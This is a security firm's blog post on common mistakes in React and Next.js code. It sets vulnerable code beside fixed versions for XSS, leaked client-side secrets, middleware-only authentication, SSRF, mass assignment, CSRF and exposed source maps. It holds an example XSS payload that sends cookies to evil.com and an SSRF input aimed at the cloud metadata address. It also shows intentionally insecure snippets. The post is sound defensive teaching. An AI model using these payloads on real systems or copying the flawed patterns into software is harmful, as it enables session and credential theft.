---
title: React and Next.js Security: Common Mistakes in Frontend Code
description: XSS through dangerouslySetInnerHTML, exposed API keys, SSRF in server components, and broken authentication in middleware. The security mistakes we find in React and Next.js applications.
date: 2026-02-26
category: Code Reviews
read_time: 10 min read
author: Lorikeet Security
url: https://lorikeetsecurity.com/blog/react-nextjs-security-mistakes
---

# React and Next.js Security: Common Mistakes in Frontend Code

[
        ** Back to Blog
    ](/blog)












            React is often described as "secure by default" because JSX escapes rendered values. That is true for basic XSS through text interpolation. But the moment you step outside that narrow path, with `dangerouslySetInnerHTML`, with server-side rendering, with Next.js API routes and middleware, the attack surface expands dramatically.






            We review React and Next.js codebases regularly, and the same patterns keep appearing. Here are the security mistakes we find most often, with code examples showing both the vulnerable pattern and the fix.





---




## XSS Through dangerouslySetInnerHTML





            React's JSX escaping only works when you render values as text content. The moment you use `dangerouslySetInnerHTML`, you're telling React to skip escaping entirely and inject raw HTML into the DOM. If that HTML comes from user input, you have stored or reflected XSS.



        Vulnerable: Rendering user content as raw HTML


```
function Comment({ comment }) {
    // User-submitted comment rendered as raw HTML
    return (
        <div
            className="comment-body"
            dangerouslySetInnerHTML={{ __html: comment.body }}
        />
    );
}

// Attacker submits comment:
// <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
```


        Secure: Sanitize HTML before rendering


```
import DOMPurify from 'dompurify';

function Comment({ comment }) {
    // Sanitize HTML to remove dangerous elements and attributes
    const sanitized = DOMPurify.sanitize(comment.body, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
        ALLOWED_ATTR: ['href', 'target', 'rel']
    });

    return (
        <div
            className="comment-body"
            dangerouslySetInnerHTML={{ __html: sanitized }}
        />
    );
}
```





            We also look for XSS through `href` attributes accepting `javascript:` URLs, `window.location` assignments from URL parameters, and React's `ref` API being used to set `innerHTML` directly.





---




## Exposed API Keys in Client Bundles





            This is one of the most common and most preventable mistakes in React applications. Any environment variable prefixed with `NEXT_PUBLIC_` (Next.js) or `REACT_APP_` (Create React App) is embedded directly into the JavaScript bundle that ships to every user's browser.



        Vulnerable: Secret key in client-accessible env var


```
// .env.local
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_abc123...
NEXT_PUBLIC_DATABASE_URL=postgresql://admin:password@db.internal:5432

// components/PaymentForm.tsx
const stripe = new Stripe(process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY);
// This key is now in every user's browser bundle
```


        Secure: Keep secrets server-side only


```
// .env.local
STRIPE_SECRET_KEY=sk_live_abc123...          // No NEXT_PUBLIC_ prefix
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_xyz...  // Only public key

// app/api/create-payment/route.ts (server-side only)
import Stripe from 'stripe';
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!); // Server only

export async function POST(req: Request) {
    const { amount } = await req.json();
    const intent = await stripe.paymentIntents.create({ amount, currency: 'usd' });
    return Response.json({ clientSecret: intent.client_secret });
}
```





            During code reviews, we search the entire built output for leaked secrets. A quick scan of `_next/static` chunks often reveals database connection strings, internal API endpoints, third-party secret keys, and admin tokens that developers assumed were hidden because they used environment variables.






**Quick check:** Run `grep -r "sk_live\|secret\|password\|private_key" .next/static/` on your Next.js build output. If anything comes back, you have exposed secrets in production.






---




## Broken Authentication in Next.js Middleware





            Next.js middleware is a popular place to implement authentication checks because it runs before every matched route. But middleware has significant security limitations that developers often miss.






            In early 2025, CVE-2025-29927 demonstrated that Next.js middleware could be bypassed entirely by sending a specially crafted `x-middleware-subrequest` header. This affected any application that relied solely on middleware for authentication or authorization.



        Vulnerable: Auth only in middleware


```
// middleware.ts - This is the ONLY auth check
export function middleware(request: NextRequest) {
    const token = request.cookies.get('session');
    if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
        return NextResponse.redirect(new URL('/login', request.url));
    }
}

// app/api/admin/users/route.ts - No auth check here
export async function GET() {
    // If middleware is bypassed, this data is exposed
    const users = await db.query('SELECT * FROM users');
    return Response.json(users);
}
```


        Secure: Defense in depth with server-side checks


```
// middleware.ts - First layer of defense
export function middleware(request: NextRequest) {
    const token = request.cookies.get('session');
    if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
        return NextResponse.redirect(new URL('/login', request.url));
    }
}

// lib/auth.ts - Reusable auth verification
export async function requireAuth() {
    const session = await getServerSession();
    if (!session?.user) {
        throw new Error('Unauthorized');
    }
    return session.user;
}

// app/api/admin/users/route.ts - Auth enforced at the route level
export async function GET() {
    const user = await requireAuth(); // Always verify here too
    if (user.role !== 'admin') {
        return Response.json({ error: 'Forbidden' }, { status: 403 });
    }
    const users = await db.query('SELECT * FROM users');
    return Response.json(users);
}
```





            The lesson from the React2Shell CVE and the middleware bypass is clear: **never rely on a single layer for authentication**. Middleware is a convenience layer, not a security boundary. Authorization must be enforced at the data access layer.





---




## SSRF in getServerSideProps and Server Components





            Server-Side Request Forgery (SSRF) is a server-side vulnerability, but it shows up constantly in Next.js applications because `getServerSideProps`, Server Components, and API routes make server-side HTTP requests from user-controlled input.



        Vulnerable: User-controlled URL in server-side fetch


```
// pages/preview.tsx
export async function getServerSideProps(context) {
    const { url } = context.query;

    // Attacker sends: ?url=http://169.254.169.254/latest/meta-data/iam/
    const response = await fetch(url);
    const data = await response.text();

    return { props: { preview: data } };
    // Now the attacker can read AWS metadata, internal services, etc.
}
```


        Secure: Validate and restrict URLs


```
import { URL } from 'url';

const ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com'];

export async function getServerSideProps(context) {
    const { url } = context.query;

    try {
        const parsed = new URL(url);

        // Only allow HTTPS
        if (parsed.protocol !== 'https:') {
            return { notFound: true };
        }

        // Allowlist specific hosts
        if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
            return { notFound: true };
        }

        // Block internal/private IP ranges
        // (use a library like 'ssrf-req-filter' for robust checking)

        const response = await fetch(parsed.toString());
        const data = await response.text();
        return { props: { preview: data } };
    } catch {
        return { notFound: true };
    }
}
```





            SSRF in Next.js is especially dangerous when deployed on AWS, GCP, or Azure because attackers can reach cloud metadata endpoints (like `169.254.169.254`) to steal IAM credentials, service account tokens, and environment variables. This frequently leads to full cloud account compromise.





---




## Insecure API Routes





            Next.js API routes (`pages/api/` or `app/api/`) are full server-side endpoints, but developers often treat them with the same casualness as client-side code. Common mistakes include:





            - **No authentication.** API routes that assume they're "internal" because they're in the same project, but are publicly accessible at `/api/...`

            - **No rate limiting.** Authentication endpoints, password reset, and data export routes with no throttling

            - **SQL/NoSQL injection.** Directly interpolating query parameters into database queries

            - **Mass assignment.** Passing entire request bodies to ORM create/update operations without filtering fields

            - **Missing CORS configuration.** Default CORS settings that allow any origin to call your API




        Vulnerable: Mass assignment in API route


```
// app/api/users/[id]/route.ts
export async function PATCH(req: Request, { params }) {
    const body = await req.json();
    // Attacker adds { "role": "admin" } to the request body
    const user = await prisma.user.update({
        where: { id: params.id },
        data: body  // Every field in the body is applied
    });
    return Response.json(user);
}
```


        Secure: Explicitly pick allowed fields


```
// app/api/users/[id]/route.ts
export async function PATCH(req: Request, { params }) {
    const currentUser = await requireAuth();
    const body = await req.json();

    // Only allow specific fields to be updated
    const allowedFields = {
        name: body.name,
        email: body.email,
        avatar: body.avatar
    };

    // Remove undefined values
    const data = Object.fromEntries(
        Object.entries(allowedFields).filter(([_, v]) => v !== undefined)
    );

    const user = await prisma.user.update({
        where: { id: params.id },
        data
    });
    return Response.json(user);
}
```




---




## Missing CSRF Protection





            Single-page React applications that rely on cookie-based sessions are vulnerable to Cross-Site Request Forgery unless explicit CSRF protections are in place. Many developers assume that the SameSite cookie attribute solves this completely, but that's only partially true.






            `SameSite=Lax` (the browser default) protects against CSRF on POST requests from cross-origin forms, but does not protect against GET requests that trigger state changes. `SameSite=None` provides no CSRF protection at all. And older browsers may not support SameSite at all.






            For robust CSRF protection, we recommend:





            - **Double-submit cookie pattern** or **synchronizer tokens** for any state-changing operation

            - **Check the Origin header** on all POST/PUT/DELETE/PATCH requests

            - **Never use GET requests for state changes** (a surprisingly common mistake)

            - **Consider token-based auth** (Bearer tokens in headers) instead of cookies for API-only backends, which is inherently CSRF-resistant






---




## Exposed Source Maps in Production





            Source maps reverse the minification and bundling process, giving anyone with access the original source code of your application. This includes component names, internal route structures, business logic, inline comments (including TODOs referencing vulnerabilities), and sometimes even hardcoded values.






            By default, Next.js generates source maps for production builds. If your deployment serves `.map` files publicly, your entire codebase is readable by anyone.



        Fix: Disable source maps in production


```
// next.config.js
module.exports = {
    productionBrowserSourceMaps: false,  // Default is false, but verify

    // If you need source maps for error tracking (Sentry, etc.),
    // upload them to the service directly and don't serve them publicly
    sentry: {
        hideSourceMaps: true
    }
};
```





            We check for exposed source maps in every web application assessment. When we find them, we use them to map out the full application structure, identify API endpoints, find hidden admin routes, and understand the business logic before we start testing. It's an attacker's dream.





---




## Security Checklist for React and Next.js





| Category | What to Check |
| --- | --- |
| XSS Prevention | No dangerouslySetInnerHTML with unsanitized input; no javascript: hrefs; sanitize user HTML with DOMPurify |
| Secrets | No NEXT_PUBLIC_ or REACT_APP_ vars containing secrets; grep build output for leaked keys |
| Authentication | Auth enforced at API route/data layer, not just middleware; session validation on every protected endpoint |
| SSRF | URL allowlisting on all server-side fetches; block private IP ranges; no user-controlled redirect targets |
| API Routes | Auth on every route; input validation; rate limiting; explicit field selection (no mass assignment) |
| CSRF | CSRF tokens or Origin header checks on state-changing requests; SameSite=Strict or Lax cookies |
| Source Maps | productionBrowserSourceMaps disabled; .map files not accessible in production |
| Dependencies | npm audit clean; no known vulnerable packages; lock file committed and used in CI |







            For a deeper look at how we integrate these checks into development workflows, see our guide on [DevSecOps and CI/CD security](/blog/devsecops-cicd-security).







## Get a security review of your React or Next.js app





                Our team reviews React and Next.js codebases every week. We know where the vulnerabilities hide, and we'll find them before an attacker does.




                [** Book a Code Review](/contact#booking)
                [Web App Pentesting](/service-areas/web-application)






Link copied!